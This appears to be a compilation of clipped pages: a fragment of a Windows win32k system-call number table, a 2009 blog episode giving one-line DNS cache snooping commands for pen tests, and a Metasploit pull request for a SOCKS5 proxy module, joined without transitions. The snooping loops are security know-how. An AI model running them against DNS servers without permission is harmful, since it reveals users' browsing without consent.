NtUserSetSystemMenu |  |  |  |  0x11dc  |  |  |  0x1206  |  |  0x1206  |  |  0x1219  |  0x1219  |  0x1219  |  |  0x1215  |  0x1215  |  0x122e  |  0x122e  |  0x122e  |  |  0x122e  |  |  0x1238   
NtUserSetSystemTimer |  |  |  |  0x11dd  |  |  |  0x1207  |  |  0x1207  |  |  0x121a  |  0x121a  |  0x121a  |  |  0x1216  |  0x1216  |  0x122f  |  0x122f  |  0x122f  |  |  0x122f  |  |  0x1239   
NtUserSetThreadDesktop |  |  |  |  0x11de  |  |  |  0x1208  |  |  0x1208  |  |  0x121b  |  0x121b  |  0x121b  |  |  0x1217  |  0x1217  |  0x1230  |  0x1230  |  0x1230  |  |  0x1230  |  |  0x123a   
NtUserSetThreadLayoutHandles |  |  |  |  |  |  |  0x1209  |  |  0x1209  |  |  0x121c  |  0x121c  |  0x121c  |  |  0x1218  |  0x1218  |  0x1231  |  0x1231  |  0x1231  |  |  0x1231  |  |  0x123b   
NtUserSetThreadState |  |  |  |  0x11df  |  |  |  0x120a  |  |  0x120a  |  |  0x121d  |  0x121d  |  0x121d  |  |  0x1219  |  0x1219  |  0x1232  |  0x1232  |  0x1232  |  |  0x1232  |  |  0x123c   
NtUserSetTimer |  |  |  |  0x11e0  |  |  |  0x120b  |  |  0x120b  |  |  0x121e  |  0x121e  |  0x121e  |  |  0x121a  |  0x121a  |  0x1233  |  0x1233  |  0x1233  |  |  0x1233  |  |  0x123d   
NtUserSetUserStartupInfoFlags |  |  |  |  0x11e1  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserSetWinEventHook |  |  |  |  0x11eb  |  |  |  0x1215  |  |  0x1215  |  |  0x1228  |  0x1228  |  0x1228  |  |  0x1224  |  0x1224  |  0x1240  |  0x1240  |  0x1240  |  |  0x1240  |  |  0x124c   
NtUserSetWindowCompositionAttribute |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x123f   
NtUserSetWindowDisplayAffinity |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1240   
NtUserSetWindowFNID |  |  |  |  0x11e2  |  |  |  0x120c  |  |  0x120c  |  |  0x121f  |  0x121f  |  0x121f  |  |  0x121b  |  0x121b  |  0x1235  |  0x1235  |  0x1235  |  |  0x1235  |  |  0x1241   
NtUserSetWindowLong |  |  |  |  0x11e3  |  |  |  0x120d  |  |  0x120d  |  |  0x1220  |  0x1220  |  0x1220  |  |  0x121c  |  0x121c  |  0x1236  |  0x1236  |  0x1236  |  |  0x1236  |  |  0x1242   
NtUserSetWindowPlacement |  |  |  |  0x11e4  |  |  |  0x120e  |  |  0x120e  |  |  0x1221  |  0x1221  |  0x1221  |  |  0x121d  |  0x121d  |  0x1237  |  0x1237  |  0x1237  |  |  0x1237  |  |  0x1243   
NtUserSetWindowPos |  |  |  |  0x11e5  |  |  |  0x120f  |  |  0x120f  |  |  0x1222  |  0x1222  |  0x1222  |  |  0x121e  |  0x121e  |  0x1238  |  0x1238  |  0x1238  |  |  0x1238  |  |  0x1244   
NtUserSetWindowRgn |  |  |  |  0x11e6  |  |  |  0x1210  |  |  0x1210  |  |  0x1223  |  0x1223  |  0x1223  |  |  0x121f  |  0x121f  |  0x1239  |  0x1239  |  0x1239  |  |  0x1239  |  |  0x1245   
NtUserSetWindowRgnEx |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x123b  |  0x123b  |  0x123b  |  |  0x123b  |  |  0x1247   
NtUserSetWindowStationUser |  |  |  |  0x11e9  |  |  |  0x1213  |  |  0x1213  |  |  0x1226  |  0x1226  |  0x1226  |  |  0x1222  |  0x1222  |  0x123e  |  0x123e  |  0x123e  |  |  0x123e  |  |  0x124a   
NtUserSetWindowWord |  |  |  |  0x11ea  |  |  |  0x1214  |  |  0x1214  |  |  0x1227  |  0x1227  |  0x1227  |  |  0x1223  |  0x1223  |  0x123f  |  0x123f  |  0x123f  |  |  0x123f  |  |  0x124b   
NtUserSetWindowsHookAW |  |  |  |  0x11e7  |  |  |  0x1211  |  |  0x1211  |  |  0x1224  |  0x1224  |  0x1224  |  |  0x1220  |  0x1220  |  0x123c  |  0x123c  |  0x123c  |  |  0x123c  |  |  0x1248   
NtUserSetWindowsHookEx |  |  |  |  0x11e8  |  |  |  0x1212  |  |  0x1212  |  |  0x1225  |  0x1225  |  0x1225  |  |  0x1221  |  0x1221  |  0x123d  |  0x123d  |  0x123d  |  |  0x123d  |  |  0x1249   
NtUserSfmDestroyLogicalSurfaceBinding |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x128b   
NtUserSfmDxBindSwapChain |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1282   
NtUserSfmDxGetSwapChainStats |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1288   
NtUserSfmDxOpenSwapChain |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1283   
NtUserSfmDxQuerySwapChainBindingStatus |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1286   
NtUserSfmDxReleaseSwapChain |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1284   
NtUserSfmDxReportPendingBindingsToDwm |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1287   
NtUserSfmDxSetSwapChainBindingStatus |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1285   
NtUserSfmDxSetSwapChainStats |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1289   
NtUserSfmGetLogicalSurfaceBinding |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x128a   
NtUserShowCaret |  |  |  |  0x11ec  |  |  |  0x1216  |  |  0x1216  |  |  0x1229  |  0x1229  |  0x1229  |  |  0x1225  |  0x1225  |  0x1241  |  0x1241  |  0x1241  |  |  0x1241  |  |  0x124d   
NtUserShowScrollBar |  |  |  |  0x11ed  |  |  |  0x1217  |  |  0x1217  |  |  0x122a  |  0x122a  |  0x122a  |  |  0x1226  |  0x1226  |  0x1242  |  0x1242  |  0x1242  |  |  0x1242  |  |  0x124e   
NtUserShowSystemCursor |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1304  |  0x1304  |  0x1303  |  |  0x1303  |  |  0x1333   
NtUserShowWindow |  |  |  |  0x11ee  |  |  |  0x1218  |  |  0x1218  |  |  0x122b  |  0x122b  |  0x122b  |  |  0x1227  |  0x1227  |  0x1243  |  0x1243  |  0x1243  |  |  0x1243  |  |  0x124f   
NtUserShowWindowAsync |  |  |  |  0x11ef  |  |  |  0x1219  |  |  0x1219  |  |  0x122c  |  0x122c  |  0x122c  |  |  0x1228  |  0x1228  |  0x1244  |  0x1244  |  0x1244  |  |  0x1244  |  |  0x1250   
NtUserSoundSentry |  |  |  |  0x11f0  |  |  |  0x121a  |  |  0x121a  |  |  0x122d  |  0x122d  |  0x122d  |  |  0x1229  |  0x1229  |  0x1245  |  0x1245  |  0x1245  |  |  0x1245  |  |  0x1251   
NtUserSwitchDesktop |  |  |  |  0x11f1  |  |  |  0x121b  |  |  0x121b  |  |  0x122e  |  0x122e  |  0x122e  |  |  0x122a  |  0x122a  |  0x1246  |  0x1246  |  0x1246  |  |  0x1246  |  |  0x1252   
NtUserSystemParametersInfo |  |  |  |  0x11f2  |  |  |  0x121c  |  |  0x121c  |  |  0x122f  |  0x122f  |  0x122f  |  |  0x122b  |  0x122b  |  0x1247  |  0x1247  |  0x1247  |  |  0x1247  |  |  0x1253   
NtUserTestForInteractiveUser |  |  |  |  0x11f3  |  |  |  0x121d  |  |  0x121d  |  |  0x1230  |  0x1230  |  0x1230  |  |  0x122c  |  0x122c  |  0x1248  |  0x1248  |  0x1248  |  |  0x1248  |  |  0x1254   
NtUserThunkedMenuInfo |  |  |  |  |  |  |  0x121e  |  |  0x121e  |  |  0x1231  |  0x1231  |  0x1231  |  |  0x122d  |  0x122d  |  0x1249  |  0x1249  |  0x1249  |  |  0x1249  |  |  0x1255   
NtUserThunkedMenuItemInfo |  |  |  |  0x11f4  |  |  |  0x121f  |  |  0x121f  |  |  0x1232  |  0x1232  |  0x1232  |  |  0x122e  |  0x122e  |  0x124a  |  0x124a  |  0x124a  |  |  0x124a  |  |  0x1256   
NtUserToUnicodeEx |  |  |  |  0x11f5  |  |  |  0x1220  |  |  0x1220  |  |  0x1233  |  0x1233  |  0x1233  |  |  0x122f  |  0x122f  |  0x124b  |  0x124b  |  0x124b  |  |  0x124b  |  |  0x1257   
NtUserTrackMouseEvent |  |  |  |  0x11f6  |  |  |  0x1221  |  |  0x1221  |  |  0x1234  |  0x1234  |  0x1234  |  |  0x1230  |  0x1230  |  0x124c  |  0x124c  |  0x124c  |  |  0x124c  |  |  0x1258   
NtUserTrackPopupMenuEx |  |  |  |  0x11f7  |  |  |  0x1222  |  |  0x1222  |  |  0x1235  |  0x1235  |  0x1235  |  |  0x1231  |  0x1231  |  0x124d  |  0x124d  |  0x124d  |  |  0x124d  |  |  0x1259   
NtUserTranslateAccelerator |  |  |  |  0x11f8  |  |  |  0x1223  |  |  0x1223  |  |  0x1238  |  0x1238  |  0x1238  |  |  0x1234  |  0x1234  |  0x1250  |  0x1250  |  0x1250  |  |  0x1250  |  |  0x125d   
NtUserTranslateMessage |  |  |  |  0x11f9  |  |  |  0x1224  |  |  0x1224  |  |  0x1239  |  0x1239  |  0x1239  |  |  0x1235  |  0x1235  |  0x1251  |  0x1251  |  0x1251  |  |  0x1251  |  |  0x125e   
NtUserUnhookWinEvent |  |  |  |  0x11fb  |  |  |  0x1226  |  |  0x1226  |  |  0x123b  |  0x123b  |  0x123b  |  |  0x1237  |  0x1237  |  0x1253  |  0x1253  |  0x1253  |  |  0x1253  |  |  0x1260   
NtUserUnhookWindowsHookEx |  |  |  |  0x11fa  |  |  |  0x1225  |  |  0x1225  |  |  0x123a  |  0x123a  |  0x123a  |  |  0x1236  |  0x1236  |  0x1252  |  0x1252  |  0x1252  |  |  0x1252  |  |  0x125f   
NtUserUnloadKeyboardLayout |  |  |  |  0x11fc  |  |  |  0x1227  |  |  0x1227  |  |  0x123c  |  0x123c  |  0x123c  |  |  0x1238  |  0x1238  |  0x1254  |  0x1254  |  0x1254  |  |  0x1254  |  |  0x1261   
NtUserUnlockWindowStation |  |  |  |  0x11fd  |  |  |  0x1228  |  |  0x1228  |  |  0x123d  |  0x123d  |  0x123d  |  |  0x1239  |  0x1239  |  0x1255  |  0x1255  |  0x1255  |  |  0x1255  |  |  0x1262   
NtUserUnregisterClass |  |  |  |  0x11fe  |  |  |  0x1229  |  |  0x1229  |  |  0x123e  |  0x123e  |  0x123e  |  |  0x123a  |  0x123a  |  0x1256  |  0x1256  |  0x1256  |  |  0x1256  |  |  0x1263   
NtUserUnregisterHotKey |  |  |  |  0x11ff  |  |  |  0x122a  |  |  0x122a  |  |  0x1240  |  0x1240  |  0x1240  |  |  0x123c  |  0x123c  |  0x1258  |  0x1258  |  0x1258  |  |  0x1258  |  |  0x1265   
NtUserUnregisterSessionPort |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1271  |  0x1271  |  0x1271  |  |  0x1271  |  |  0x127d   
NtUserUnregisterUserApiHook |  |  |  |  |  |  |  |  |  |  |  0x123f  |  0x123f  |  0x123f  |  |  0x123b  |  0x123b  |  0x1257  |  0x1257  |  0x1257  |  |  0x1257  |  |  0x1264   
NtUserUpdateInputContext |  |  |  |  |  |  |  0x122b  |  |  0x122b  |  |  0x1241  |  0x1241  |  0x1241  |  |  0x123d  |  0x123d  |  0x1259  |  0x1259  |  0x1259  |  |  0x1259  |  |  0x1266   
NtUserUpdateInstance |  |  |  |  0x1200  |  |  |  0x122c  |  |  0x122c  |  |  0x1242  |  0x1242  |  0x1242  |  |  0x123e  |  0x123e  |  0x125a  |  0x125a  |  0x125a  |  |  0x125a  |  |  0x1267   
NtUserUpdateLayeredWindow |  |  |  |  |  |  |  0x122d  |  |  0x122d  |  |  0x1243  |  0x1243  |  0x1243  |  |  0x123f  |  0x123f  |  0x125b  |  0x125b  |  0x125b  |  |  0x125b  |  |  0x1268   
NtUserUpdatePerUserSystemParameters |  |  |  |  0x1201  |  |  |  0x122f  |  |  0x122f  |  |  0x1246  |  0x1246  |  0x1246  |  |  0x1242  |  0x1242  |  0x125e  |  0x125e  |  0x125e  |  |  0x125e  |  |  0x126b   
NtUserUpdateWindowTransform |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1272  |  0x1272  |  0x1272  |  |  0x1272  |  |  0x127e   
NtUserUserHandleGrantAccess |  |  |  |  |  |  |  0x1230  |  |  0x1230  |  |  0x1247  |  0x1247  |  0x1247  |  |  0x1243  |  0x1243  |  0x125f  |  0x125f  |  0x125f  |  |  0x125f  |  |  0x126c   
NtUserValidateHandleSecure |  |  |  |  |  |  |  0x1231  |  |  0x1231  |  |  0x1248  |  0x1248  |  0x1248  |  |  0x1244  |  0x1244  |  0x1260  |  0x1260  |  0x1260  |  |  0x1260  |  |  0x126d   
NtUserValidateRect |  |  |  |  0x1202  |  |  |  0x1232  |  |  0x1232  |  |  0x1249  |  0x1249  |  0x1249  |  |  0x1245  |  0x1245  |  0x1261  |  0x1261  |  0x1261  |  |  0x1261  |  |  0x126e   
NtUserValidateTimerCallback |  |  |  |  |  |  |  |  |  0x127f  |  |  0x124a  |  0x124a  |  0x124a  |  |  0x1246  |  0x1246  |  0x1262  |  0x1262  |  0x1262  |  |  0x1262  |  |  0x126f   
NtUserVkKeyScanEx |  |  |  |  0x1203  |  |  |  0x1233  |  |  0x1233  |  |  0x124b  |  0x124b  |  0x124b  |  |  0x1247  |  0x1247  |  0x1263  |  0x1263  |  0x1263  |  |  0x1263  |  |  0x1270   
NtUserWOWCleanup |  |  |  |  0x1208  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserWOWFindWindow |  |  |  |  0x1209  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserWaitForInputIdle |  |  |  |  0x1204  |  |  |  0x1234  |  |  0x1234  |  |  0x124c  |  0x124c  |  0x124c  |  |  0x1248  |  0x1248  |  0x1264  |  0x1264  |  0x1264  |  |  0x1264  |  |  0x1271   
NtUserWaitForMsgAndEvent |  |  |  |  0x1205  |  |  |  0x1235  |  |  0x1235  |  |  0x124d  |  0x124d  |  0x124d  |  |  0x1249  |  0x1249  |  0x1265  |  0x1265  |  0x1265  |  |  0x1265  |  |  0x1272   
NtUserWaitMessage |  |  |  |  0x1206  |  |  |  0x1236  |  |  0x1236  |  |  0x124e  |  0x124e  |  0x124e  |  |  0x124a  |  0x124a  |  0x1266  |  0x1266  |  0x1266  |  |  0x1266  |  |  0x1273   
NtUserWin32PoolAllocationStats |  |  |  |  |  |  |  0x1237  |  |  0x1237  |  |  0x124f  |  0x124f  |  0x124f  |  |  0x124b  |  0x124b  |  |  |  |  |  |  |   
NtUserWindowFromPhysicalPoint |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1268  |  0x1268  |  0x1268  |  |  0x1268  |  |  0x1274   
NtUserWindowFromPoint |  |  |  |  0x1207  |  |  |  0x1238  |  |  0x1238  |  |  0x1250  |  0x1250  |  0x1250  |  |  0x124c  |  0x124c  |  0x1269  |  0x1269  |  0x1269  |  |  0x1269  |  |  0x1275   
NtUserYieldTask |  |  |  |  0x120a  |  |  |  0x1239  |  |  0x1239  |  |  0x1251  |  0x1251  |  0x1251  |  |  0x124d  |  0x124d  |  0x126a  |  0x126a  |  0x126a  |  |  0x126a  |  |  0x1276   
NtUserfnCOPYDATA |  |  |  |  0x112d  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnCOPYGLOBALDATA |  |  |  |  0x112e  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnDDEINIT |  |  |  |  0x112f  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnDWORD |  |  |  |  0x1130  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnDWORDOPTINLPMSG |  |  |  |  0x1131  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnGETTEXTLENGTHS |  |  |  |  0x1132  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnHkINDWORD |  |  |  |  0x1133  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnHkINLPCBTACTIVATESTRUCT |  |  |  |  0x1134  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnHkINLPCBTCREATESTRUCT |  |  |  |  0x1135  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnHkINLPDEBUGHOOKSTRUCT |  |  |  |  0x1136  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnHkINLPKBDLLHOOKSTRUCT |  |  |  |  0x1137  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnHkINLPMOUSEHOOKSTRUCT |  |  |  |  0x1138  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnHkINLPMSG |  |  |  |  0x1139  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnHkINLPMSLLHOOKSTRUCT |  |  |  |  0x113a  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnHkINLPRECT |  |  |  |  0x113b  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnHkOPTINLPEVENTMSG |  |  |  |  0x113c  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINCNTOUTSTRING |  |  |  |  0x113d  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINCNTOUTSTRINGNULL |  |  |  |  0x113e  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINDEVICECHANGE |  |  |  |  0x1154  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINLPCOMPAREITEMSTRUCT |  |  |  |  0x113f  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINLPCREATESTRUCT |  |  |  |  0x1140  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINLPDELETEITEMSTRUCT |  |  |  |  0x1141  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINLPDRAWITEMSTRUCT |  |  |  |  0x1142  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINLPHELPINFOSTRUCT |  |  |  |  0x1143  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINLPHLPSTRUCT |  |  |  |  0x1144  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINLPMDICREATESTRUCT |  |  |  |  0x1145  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINLPWINDOWPOS |  |  |  |  0x1146  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINOUTDRAG |  |  |  |  0x1147  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINOUTLPMEASUREITEMSTRUCT |  |  |  |  0x1148  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINOUTLPPOINT5 |  |  |  |  0x1149  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINOUTLPRECT |  |  |  |  0x114a  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINOUTLPSCROLLINFO |  |  |  |  0x114b  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINOUTLPWINDOWPOS |  |  |  |  0x114c  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINOUTNCCALCSIZE |  |  |  |  0x114d  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINOUTNEXTMENU |  |  |  |  0x114e  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINOUTSTYLECHANGE |  |  |  |  0x114f  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINPAINTCLIPBRD |  |  |  |  0x1150  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINSIZECLIPBRD |  |  |  |  0x1151  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINSTRING |  |  |  |  0x1152  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnINSTRINGNULL |  |  |  |  0x1153  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnOPTOUTLPDWORDOPTOUTLPDWORD |  |  |  |  0x1155  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnOUTDWORDINDWORD |  |  |  |  0x1158  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnOUTLPRECT |  |  |  |  0x1156  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnOUTSTRING |  |  |  |  0x1157  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnPOPTINLPUINT |  |  |  |  0x1159  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnPOUTLPINT |  |  |  |  0x115a  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserfnSENTDDEMSG |  |  |  |  0x115b  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
SURFACE::bUnMap |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x10e4  |  0x10e4  |  0x10e4  |  |  0x10e4  |  | 

# Command Line Kung Fu: Episode \#17: DNS Cache Snooping in a Single Command

**Created:**| _5/16/2009 10:33:06 AM_  
---|---  
**Updated:**| _5/16/2009 10:33:10 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#17: DNS Cache Snooping in a Single Command

Ed muses:  
  
DNS cache snooping is a fun technique that involves querying DNS servers to
see if they have specific records cached. Using this technique, we can harvest
a bunch of information from DNS servers to see which domain names users have
recently accessed, possibly revealing some interesting and maybe even
embarrassing information. In his nifty paper on the subject, Luis Grangeia
explains, "The most effective way to snoop a DNS cache is using iterative
queries. One asks the cache for a given resource record of any type \(A, MX,
CNAME, PTR, etc.\) setting the RD \(recursion desired\) bit in the query to
zero. If the response is cached the response will be valid, else the cache
will reply with information of another server that can better answer our
query, or most commonly, send back the root.hints file contents."  
  
I've always liked that paper, and use the technique all the time in pen tests
when my clients have a badly configured DNS server. I've always implemented
the technique using a Perl script on Linux. But, last Friday, I was on a hot
date with my wife at Barnes & Noble, thinking about that paper in the back of
my mind, when it struck me. Heck, I can do that in a single\* Windows command.
Here it is, using the default of A records:  
  

[code]

    C:\> **for /F %i in (names.txt) do @echo %i & nslookup -norecurse %i [DNSserver] | find  
    "answer" & echo.**
    
[/code]

  
This command is built from a FOR /F loop, which iterates over the contents of
the file names.txt. In that file, just put all of the names you want to check
in the target DNS server's cache, with one name per line. At each iteration
through the loop, we turn off command echo \(@\), display the current name we
are checking \(echo %i\) and then we run nslookup with the -norecurse option.
This option will emit queries with the Recursion Desired bit set to zero. Most
DNS servers will honor this request, dutifully returning our answer from their
cache if they have it, and sending us a list of DNS servers they'd forward to
\(such as the root name servers\) if they don't have it cached. We query
against the name we've iterated to \(%i\) against the chosen DNS server
\(\[DNSserver\]\). I scrape through the results looking for the string
"answer", because if we get back a non-authoritative answer, nslookup's output
will say "answer". I added an extra new line \(echo.\) for readability.  
  
So, if the entry is in the target DNS server's cache, my output will display
the given name followed by a line that says "Non-authoritative answer:".  
  
Note that if the target DNS server is authoritative for the given domain name,
our output will display only the name itself, but not the "Non-authoritative
answer:" text, because the record likely wasn't pulled from the cache but
instead was retrieved from the zone files themselves of the target DNS server.  
  
A lot of people discount nslookup in Windows, thinking that it's not very
powerful. However, it's got a lot of interesting options for us to play with.
And, when incorporated into a FOR /F loop as I've done above, all kinds of
useful iterations are possible.  
  
\*Well, I use the term "single" here loosely. It's several commands smushed
together on a single command line. But, it's not too complex, and it isn't
actually that hard to type.  
  
Hal Responds:  
  
Ed, didn't anybody teach you that you should configure your DNS servers to
refuse cache queries? Otherwise you could well end up being used as an
amplifier in a DNS denial of service attack.  
  
Putting aside Ed's poor configuration choices for the moment, I can replicate
Ed's loop in the shell using the "host" command:  
  

[code]

    $ **for i in `cat names.txt`; do host -r $i [nameserver]; done**
    
[/code]

  
"-r" is how you turn off recursion with the host command. The "host" command
is silent if it doesn't retrieve any information, so I don't need to do any
extra parsing to separate out the negative responses like Ed does. In general,
"host" is much more useful for scripting kinds of applications than the "dig"
command is \("nslookup" has been deprecated on Unix, by the way, so I'm  
not going to bother with it here\).  
  
If you happen to be on the system where the name server process is running,
you can actually get it to dump its cache to a local file:  
  

[code]

    # **rndc dumpdb -cache**
    
[/code]

  
The cache is dumped to a file called "named\_dump.db" in the current working
directory of the name server process. It's just a text file, so you can grep
it to your heart's content.  
  
But where is the current working directory of the name server process? Well
you could check the value of the "directory" option in named.conf, or just use
lsof:  
  

[code]

    # **lsof -a -c named -d cwd**  
     COMMAND   PID  USER   FD   TYPE DEVICE SIZE   NODE NAME  
    named   26808 named  cwd    DIR  253,4 4096 917516 /var/named/chroot/var/run/named
    
[/code]

  
The command line options here mean show the current working directory \("-d
cwd"\) of the named process \("-c named"\). The "-a" means to "and" these two
conditions together rather than "or"-ing them, which would be the normal
default for lsof.  
  
Man, I wish we could do a whole bunch of episodes just on lsof because it's
such an amazing and useful command. But, of course, Ed doesn't have lsof on
Windows and he'd get all pouty.

# SOCKS5 module, with DNS, IPv4/v6, and authentication support by asoto-r7 ·
Pull Request \#9990 · rapid7/metasploit-framework

**Created:**| _5/25/2018 10:41:20 AM_  
---|---  
**Updated:**| _5/25/2018 10:41:20 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

#  SOCKS5 module, with DNS, IPv4/v6, and authentication support  \#9990

Merged

busterb merged 6 commits into rapid7:master from asoto-r7:socks5-proxy-basic 2
days ago

+719  −0  719 lines changed

Conversation  11  Commits  6  Checks  0  Files changed  2

## Conversation

Reviewers

<img src='img/9293_4108654.jpg' width='20' height='20' alt='@busterb' />
busterb busterb left review comments

Assignees

<img src='img/9293_4108654.jpg' width='20' height='20' alt='@busterb' />
busterb

<img src='img/9303_35073726.png' width='20' height='20' alt='@asoto-r7' />
asoto-r7

Labels

enhancement payload

Projects

None yet

Milestone

No milestone

3 participants

<img src='img/9301_35073726.png' width='26' height='26' alt='@asoto-r7' />
<img src='img/4108654.jpg' width='26' height='26' alt='@busterb' /> <img
src='img/9294_434827.png' width='26' height='26' alt='@bcoles' />

<img src='img/35073726.png' width='44' height='44' alt='@asoto-r7' />

Contributor This user has previously committed to the metasploit-framework
repository.

###  **asoto-r7 ** commented 18 days ago •

edited by busterb

## Ready for testing. Comments and feedback appreciated.

This PR adds basic SOCKS5 functionality, based closely on the existing
`auxiliary/server/socks4a` module. It has been tested in basic scenarios, is
written to conform to RFC1928 and RFC1929. What it does not yet to? \(AKA -- a
todo list\):

  * Handle DNS resolution
  * Handle IPv6 addresses
  * Handle BIND requests **\(TO BE ADDRESSED IN A LATER RELEASE\)**
  * Handle UDP associate requests **\(TO BE ADDRESSED IN A LATER RELEASE\)**
  * Add options for a required `USERNAME` and `PASSWORD`
  * Accept multiple authentication methods, even if one is No Authentication

Other things we should test before landing:

  * How well does this perform under load? For example, will it portscan? \(Portscanning is ill-advised, but it works great with Firefox and a request-intensive website\).
  * `socks4a` was reported to occasionally provide packets out of order, specifically when proxying SSH. Let's see if we can recreate that report. \(UPDATE: I've been trying to get this behavior to occur, with no luck. That's good news, right?\)

Finally, @acammack-r7 has been working in this space as well. There's likely
some merging of functionality, perhaps even a complete eclipse of
functionality, in which case this PR is moot.

## Verification

The following steps succeeded with the latest msf nightly running natively on
OS X 10.13.4. Not everything here needs to be verified, but I'll let you
decide which cases you'd like to test: Test an unauthenticated SOCKS5 session
with netcat:

  * Start `msfconsole`
  * \(Optionally, set up packet capture: `sudo tcpdump -n -i any 'port 1080 and port 80'`
  * `use auxiliary/server/socks5`
  * `set SRVHOST 127.0.0.1`
  * `run`
  * In a separate window/browser/application, configure SOCKS5 to localhost on default port 1080. For example, with netcat: `nc -x 127.0.0.1:1080 209.85.201.139 80`
  * Impersonate an HTTP client by entering `GET / HTTP/1.1` and hitting Enter twice.
  * Observe a successful connection: `<!doctype html><html itemscope="" itemtype...`

Test DNS resolution with netcat:

  * Repeat the netcat command, using a hostname to force DNS resolution: `nc -x 127.0.0.1:1080 www.google.com 80`
  * Impersonate an HTTP client by entering `GET / HTTP/1.1` and hitting Enter twice.
